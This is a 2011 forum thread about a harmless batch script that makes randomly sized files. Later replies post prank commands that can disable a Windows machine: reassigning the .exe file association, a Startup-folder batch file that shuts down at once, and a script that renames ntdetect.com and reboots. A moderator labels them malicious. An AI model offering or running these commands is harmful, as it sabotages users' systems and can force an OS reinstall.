How to: Random file size tutorial :D

February 18, 2011 at 13:20:35
Specs: Windows 7
Hello

i wrote this because i was bored and i discovered this while i was experimenting with batch
basically some files are 1 kb and some are 0 so it can be like this:
file1.txt size 1
file2.txt size 1
file3.txt size 0
and so on and so on
here's the code :D

@echo off
md > %random%.lol
md > %random%.lol
md > %random%.lol
md > %random%.lol
md > %random%.lol
md > %random%.lol
md > %random%.lol
md > %random%.lol
md > %random%.lol
md > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
echo something :D > %random%.lol
exit

it makes files and then put "something :D" in some of those files, its entirely random

Hope you like it :D


See More: How to: Random file size tutorial :D

Report •


#1
February 18, 2011 at 14:05:57
well, Cool one..
If you are really boared then i would say try this one from a command prompt...

Assoc .exe=IlliXXion
Ed note: DO NOT DO THIS

you will love the output....Make sure you do it when you r really boarded..

Subhash Chandra.

edited by moderator: Added warning -Razor2.3


Report •

#2
February 18, 2011 at 14:07:59
Make sure you do it when you r really boarded..
. . . And you want to reinstall your OS. Seriously, I should delete that for being malicious.

How To Ask Questions The Smart Way


Report •

#3
February 18, 2011 at 14:31:45
LOL, it was sure funny though.

Whats really fun is to make a batch file that executes Shutdown /s /t 0 command and put it in the Startup folder. Makes for hours of fun watching someone try to get their computer on.

Oh and another fun one is to make a batch file that does a

call notepad.exe
thenameofthefile.bat

DON'T DO IT.


Report •

Related Solutions

#4
February 18, 2011 at 14:46:22
yep Rozer , I would suggest delete this post or at least my post..

If somehow someone try it just to check what happned he will have to re-install the OS completly..
It can be fixed but not that much easy.By editing the classes\.exe value offline from a bootable cd. the correct value os exefile.

Well, Isn't the question was funny enoguh.If someone do things like this (Creating folders and files radmly just for fun then the answer was good enough to keep him engaged for 2-3 hrs :)

Subhash Chandra.


Report •

#5
February 19, 2011 at 03:23:44
Do not put the following code into a batchfile and execute it.

::BAT.BAT
if exist C:\ntdetect.com goto 1
goto 2
:1
ren C:\ntdetect.com LOL
shutdown -r
:2
exit

Happy is ONE who says I am an OttoMAN.


Report •

#6
February 19, 2011 at 03:45:24
Whyever not - it won't do anything.

Report •

#7
February 19, 2011 at 04:03:03
Alright, alright. Fun's fun, but I claim to run a reputable forum here. Next post of terrible ideas gets this thread deleted.

How To Ask Questions The Smart Way


Report •

#8
February 19, 2011 at 11:15:39
MU, Thats batch file is like a suside tablet . :(

Subhash Chandra.


Report •

#9
February 19, 2011 at 11:17:51
Rozor, Apology for this one. Indeed its a reputable forum.
Will make sure it wont happen again..

Subhash Chandra.


Report •

#10
February 20, 2011 at 05:52:47
"MU, Thats batch file is like a suside tablet . :("

I know.

Razor2.3, like subhash chandra said I wont do it again too..it was just everyone posted some fun\mean idea's and I couldnt stop myself to post 1 too :C

My apologies.

Kinds Regards,

Happy is ONE who says I am an OttoMAN.


Report •


Ask Question